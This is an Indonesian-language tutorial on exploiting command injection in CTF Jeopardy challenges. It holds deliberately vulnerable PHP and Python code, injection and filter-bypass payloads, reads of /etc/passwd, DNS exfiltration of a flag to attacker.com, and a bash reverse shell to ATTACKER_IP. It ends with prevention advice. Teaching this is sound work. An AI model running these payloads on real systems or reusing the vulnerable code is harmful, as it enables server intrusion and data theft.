

Command Injection dalam CTF Jeopardy

Command Injection adalah vulnerability ketika input user dimasukkan langsung ke perintah sistem operasi (shell command) tanpa validasi yang aman.

Akibatnya, attacker bisa menjalankan command tambahan di server.

Biasanya terjadi pada:

- PHP (system(), exec(), shell_exec())
 - Python (os.system(), subprocess)
 - NodeJS (exec)
 - Bash wrapper
 - CGI script
-

Konsep Dasar

Misalnya server menjalankan:

```
system("ping " . $_GET['ip']);
```

Developer hanya ingin:

```
ping 8.8.8.8
```

Tetapi attacker mengirim:

```
8.8.8.8; whoami
```

Maka command menjadi:

```
ping 8.8.8.8; whoami
```

Shell akan menjalankan:

1. ping 8.8.8.8
2. whoami

Inilah Command Injection.

Karakter Penting dalam Command Injection

Separator Command

Karakter Fungsi

;
&&
,
,
&
`cmd`
\$(cmd)

Jalankan command berikutnya
Jalankan jika command pertama sukses

Jalankan di background
Command substitution
Command substitution

Contoh Dasar

Input:

127.0.0.1; id

Hasil:

ping 127.0.0.1

uid=33(www-data)

Contoh Vulnerable Code

PHP

```
<?php
$host = $_GET['host'];
system("ping -c 1 " . $host);
?>
```

Python

```
import os
host = input()
os.system("ping -c 1 " + host)
```

Command Injection di CTF Jeopardy

Dalam CTF, biasanya challenge:

- menyembunyikan flag di file
- memberi endpoint vulnerable
- meminta peserta membaca flag

Contoh:

/flag.txt

atau:

/home/ctf/flag.txt

Alur Eksploitasi Umum

1. Cari Input yang Masuk ke Shell

Contoh:

- ping checker
 - traceroute
 - dns lookup
 - converter
 - backup utility
 - image processor
-

2. Test Injection

Masukkan:

127.0.0.1; id

atau:

127.0.0.1 && whoami

Jika output muncul → vulnerable.

3. Enumerasi Sistem

```
; ls  
; pwd  
; uname -a  
; cat /etc/passwd
```

4. Cari Flag

```
; find / -name flag.txt 2>/dev/null  
  
atau:  
; ls /
```

5. Baca Flag

```
; cat /flag.txt
```

Contoh Challenge CTF Sederhana

Source Code

```
<?php  
if(isset($_GET['ip'])){  
    $ip = $_GET['ip'];  
    system("ping -c 1 " . $ip);  
}  
?>
```

Eksplorasi

Request Normal

```
GET /?ip=8.8.8.8
```

Payload Attack

GET /?ip=8.8.8.8;cat /flag.txt

Hasil

PING 8.8.8.8 ...

CTF{command_injection_success}

Filter Bypass dalam CTF

Kadang challenge memblok:

- ;
- cat
- spasi
- /

Peserta harus bypass filter.

Teknik Bypass Penting

1. Menggunakan &&

127.0.0.1 && id

2. Menggunakan Pipe

127.0.0.1 | id

3. Command Substitution

127.0.0.1\$(id)

atau:

127.0.0.1`id`

Bypass Spasi

Jika spasi diblok:

`${IFS}`

`cat${IFS}/flag.txt`

IFS = Internal Field Separator.

Tab

`cat%09/flag.txt`

Bypass Blacklist

Jika cat diblok:

Gunakan tac

`tac /flag.txt`

Gunakan head

`head /flag.txt`

Gunakan more

`more /flag.txt`

Blind Command Injection

Kadang output command tidak terlihat.

Contoh:

```
system("ping -c 1 " . $ip . " > /dev/null");
```

Tetapi command tetap dijalankan.

Cara Deteksi Blind Injection

Time Delay

`127.0.0.1; sleep 5`

Jika response delay 5 detik → vulnerable.

Exfiltration via DNS

Advanced CTF:

```
nslookup $(cat /flag.txt).attacker.com
```

Reverse Shell (Advanced)

Kadang target challenge adalah mendapat shell.

Bash Reverse Shell

```
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
```

Listener:

```
nc -lvnp 4444
```

Contoh Full Walkthrough CTF

Challenge

Website:

```
system("ping -c 1 " . $_GET['host']);
```

Step 1 — Test

Input:

```
127.0.0.1;id
```

Output:

```
uid=33(www-data)
```

Vulnerable.

Step 2 — Enumerasi

```
127.0.0.1;ls /
```

Output:

```
bin
```

etc

flag.txt

home

Step 3 — Ambil Flag

127.0.0.1;cat /flag.txt

Output:

CTF{easy_command_injection}

Perbedaan Command Injection vs RCE

Command Injection

RCE

Menjalankan command OS Eksekusi kode arbitrary

Biasanya via shell

Bisa tanpa shell

Contoh: ; id

Upload webshell

Command Injection sering menjadi bagian dari RCE.

Dampak Nyata

Jika terjadi di real system:

- baca file sensitif
 - ambil credential
 - remote shell
 - pivoting
 - install malware
 - takeover server
-

Pencegahan

Jangan gunakan shell

Bahaya

```
os.system("ping " + user)
```

Aman

```
subprocess.run(["ping", "-c", "1", user])
```

Tanpa shell parsing.

Sanitasi Input

Whitelist:

```
import re
```

```
if re.match(r'^[0-9\..]+$', ip):
```

Principle of Least Privilege

Jangan jalankan aplikasi sebagai root.

Challenge Mini untuk Latihan

Source

```
<?php
```

```
$domain = $_GET['domain'];
```

```
system("nslookup " . $domain);
```

```
?>
```

Tugas

1. Buktikan vulnerable
2. Cari current user
3. Cari file flag
4. Baca flag

Payload yang Bisa Dicoba

google.com;id

google.com;whoami

google.com;pwd

google.com;find / -name flag.txt 2>/dev/null

Tools yang Sering Dipakai

- Burp Suite
 - curl
 - netcat
 - ffuf
 - wfuzz
-

Kesimpulan

Command Injection terjadi ketika:

- input user masuk ke shell
- tanpa validasi aman

Di CTF Jeopardy biasanya:

1. Cari parameter vulnerable
2. Inject shell operator
3. Enumerasi sistem
4. Cari flag
5. Baca flag

Payload umum:

;id

&& whoami

;cat /flag.txt

;sleep 5

\$(id)